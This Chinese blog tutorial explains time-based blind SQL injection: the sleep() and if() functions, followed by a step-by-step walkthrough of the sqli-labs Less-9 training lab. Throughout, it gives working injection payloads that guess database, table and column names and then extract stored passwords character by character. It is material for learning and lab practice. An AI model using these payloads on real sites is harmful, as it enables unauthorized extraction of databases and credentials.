注入无回显-时间盲注:原理、函数、利用过程

举报
黑色地带(崛起) 发表于 2023/02/19 17:21:18 2023/02/19
【摘要】 注入无回显-时间盲注:原理、函数、利用过程

注入无回显-时间盲注:原理、函数、利用过程

目录

一、时间盲注(延时)

1.1、简介:

1.2、原理:

二、常用函数:

2.1、延迟函数:

​编辑

2.2、相关函数:

2.3、示例语句

三、利用过程

3.1、第一步:判断注入点

3.2、第二步:判断可使用注入方法

3.3、第三步:猜数据库名称长度

3.4、第四步:猜数据库名称(ASCII码)

四、逻辑判断

4.1、猜长度(eg:数据库)

4.2、猜字符(eg:数据库名第一位)

4.3、猜字符:(eg:第一个表名第一位)




一、时间盲注(延时)


1.1、简介:

由于服务器端拼接了SQL语句,且正确和错误存在同样的回显,即是错误信息被过滤,可以通过页面响应时间进行按位判断数据。由于时间盲注中的函数是在数据库中执行的,但是sleep函数或者benchmark函数的过多执行会让服务器负载过高


1.2、原理:

通过一个页面加载的时间延时来判断

但是这和网络,性能,设置的延时长短有关系

当对数据库进行查询操作,如果查询的条件不存在,语句执行的速度非常快,执行时间基本可以认为是0,通过控制sql语句的执行时间来判断





二、常用函数:

2.1、延迟函数:

编辑

sleep(N)函数

即如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟

(通过执行时间来判断是否被执行,但是可能会因网速等问题参数误差)


2.2、相关函数:

if()函数

​ if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值


2.3、示例语句

?id=1’ and if ((ascii(substr(database(),0,1))>100),sleep(10),1) --+

sleep(if(database()="security",10,0))




三、利用过程

3.1、第一步:判断注入点

"and 1=1--+  页面返回有数据

"and 1=0--+  页面返回有数据

则:页面的返回没有变化,可能是盲注


3.2、第二步:判断可使用注入方法

然后用sleep()判断能否利用时间盲注

"and sleep(5)--+   页面延时了

则:是时间盲注。


3.3、第三步:猜数据库名称长度

"and if((length(database()))=10,sleep(5),1)--+  页面延时了

则:当前数据库名称长度为 10


3.4、第四步:猜数据库名称(ASCII码)

"and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+  页面延时了

则:数据库第一个字母是k... 类推得到数据库名


(字段名、数据,都是以此类推)




四、逻辑判断

4.1、猜长度(eg:数据库)

?id=1' and sleep(if(length(database())=8,10,0)) --+

(页面窗口转了10s,说明长度为8)


4.2、猜字符(eg:数据库名第一位)

?id=1' and sleep(if(mid(database(),1,1)='s',10,0)) --+

(转了10秒说明是s)


4.3、猜字符:(eg:第一个表名第一位)

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0) --+

(转了5秒说明是e)



五、示例(sqli-labs9)

5.1、第一步:注入点测试

 加上单引号、双引号闭合、数值型注入,都发现回显正常

无法判断是否存在注入点

编辑

 只能考虑使用延时函数了

 ?id=1' and sleep(5) --+

标签上面在转,说明函数执行了

即存在注入点

编辑





5.2、第二步:猜数据库名长度

?id=1' and if(length(database())>7,sleep(5),1)--+

转了5s说明判断正确

最后用=确定唯一长度

编辑


?id=1' and (length(database()))=8--+

转5s,判断正确,长度为8

编辑




5.3、第三步:猜数据库名(ASCII码)

?id=1' and if(ascii(substr(database(),1,1))<200,sleep(5),0) --+

转了5s说明if语句为真

编辑




?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),0) --+

转了5s说明if判断为真

编辑


 二分法,一直从中间分下去,直到确定一个值对应的ascii码

通过这个方法判断出整个数据库名


5.4、第四步:猜表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>3,sleep(5),1)--+

转了5s说明if判断正确

编辑

 ?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<8,sleep(5),1)--+

转了5s说明if判断正确编辑


 采用二分法以此类推得到唯一的值

通过这个方法判断出表长



5.5、第五步:猜表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>60,  sleep(5),1)--+

转了5s说明if判断正确

编辑


?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<200,  sleep(5),1)--+

转了5s说明if判断正确

编辑


 采用二分法以此类推得到唯一的值

通过这个方法判断出整个表名


5.6、第六步:猜字段长度

?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))>3,sleep(5),1)--+

转了5s说明if判断正确

编辑

 ?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))<10,sleep(5),1)--+

转了5s说明if判断正确

编辑

 采用二分法以此类推得到唯一的值

通过这个方法判断出表长



5.7、第七步:猜字段名

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>10,sleep(5),1)--+

转了5s说明if判断正确

编辑


?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<100,sleep(5),1)--+

转了5s说明if判断正确

编辑


 采用二分法以此类推得到唯一的值

通过这个方法判断出整个字段名



5.8、第八步:猜数据

?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>10, sleep(5),0)--+

转了5s说明if判断正确

编辑



?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))<100, sleep(5),0)--+

转了5s说明if判断正确

编辑


采用二分法以此类推得到唯一的值

通过这个方法判断出整个数据

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。